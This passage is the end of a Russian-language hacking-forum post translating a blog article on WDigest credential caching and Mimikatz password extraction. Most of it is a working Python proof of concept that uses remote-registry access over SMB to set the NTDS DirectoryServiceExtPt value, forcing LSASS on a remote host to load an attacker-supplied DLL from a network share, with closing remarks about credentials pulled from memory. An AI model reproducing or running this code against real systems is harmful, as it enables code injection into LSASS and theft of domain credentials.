winreg_bind = r'ncacn_np:445[\pipe\winreg]'
hRootKey = None
subkey = None
rrpclient = None
print("[*] Connecting to remote registry")
try:
rpctransport = transport.SMBTransport(remoteHost, 445, r'\winreg', username, password, "", "", "", "")
except (Exception) as e:
print("[x] Error establishing SMB connection: %s" % e)
return
try:
# Set up winreg RPC
rrpclient = rpctransport.get_dce_rpc()
rrpclient.connect()
rrpclient.bind(rrp.MSRPC_UUID_RRP)
except (Exception) as e:
print("[x] Error binding to remote registry: %s" % e)
return
print("[*] Connection established")
print("[*] Adding new value to SYSTEM\\CurrentControlSet\\Services\\NTDS\\DirectoryServiceExtPtr")
try:
# Add a new registry key
ans = rrp.hOpenLocalMachine(rrpclient)
hRootKey = ans['phKey']
subkey = rrp.hBaseRegOpenKey(rrpclient, hRootKey, "SYSTEM\\CurrentControlSet\\Services\\NTDS")
rrp.hBaseRegSetValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt", 1, dllPath)
except (Exception) as e:
print("[x] Error communicating with remote registry: %s" % e)
return
print("[*] Registry value created, DLL will be loaded from %s" % (dllPath))
trigger_samr(remoteHost, username, password)
print("[*] Removing registry entry")
try:
rrp.hBaseRegDeleteValue(rrpclient, subkey["phkResult"], "DirectoryServiceExtPt")
except (Exception) as e:
print("[x] Error deleting from remote registry: %s" % e)
return
print("[*] All done")
print("LSASS DirectoryServiceExtPt POC\n @_xpn_\n")
start("192.168.0.111", "192.168.0.111", "test", "wibble", "\\\\opensharehost\\ntds\\legit.dll")
И на практике мы можем видеть учетные данные, извлеченные из памяти:
*В оригинале стоит asciinema, на фото только результат
Здесь можно найти код используемой библиотеки DLL, который является модификацией предыдущего примера.
Надеюсь, этот пост дал вам представление о том, как работает кэширование учетных данных WDigest и как Mimikatz извлекает и расшифровывает пароли во время "
sekurlsa :: wdigest".Что еще более важно, я надеюсь, что это поможет любому, кто хочет создать что-то нестандартное для следующего экзамена. Я продолжу изучать другие области, которые обычно используются во время помолвки,
но если у вас есть какие-либо вопросы или предложения, обращайтесь ко мне в обычных местах.
От ТС
Эта статья является переводом вот этой статьи
В блоге автора есть вторая часть, так что если первая вас заинтересовала то дайте мне знать.
Если у вас есть статьи на примете, не стесняйтесь и кидайте сюда.
Перевод:
Azrv3l cпециально для xss.pro
Вложения
Последнее редактирование: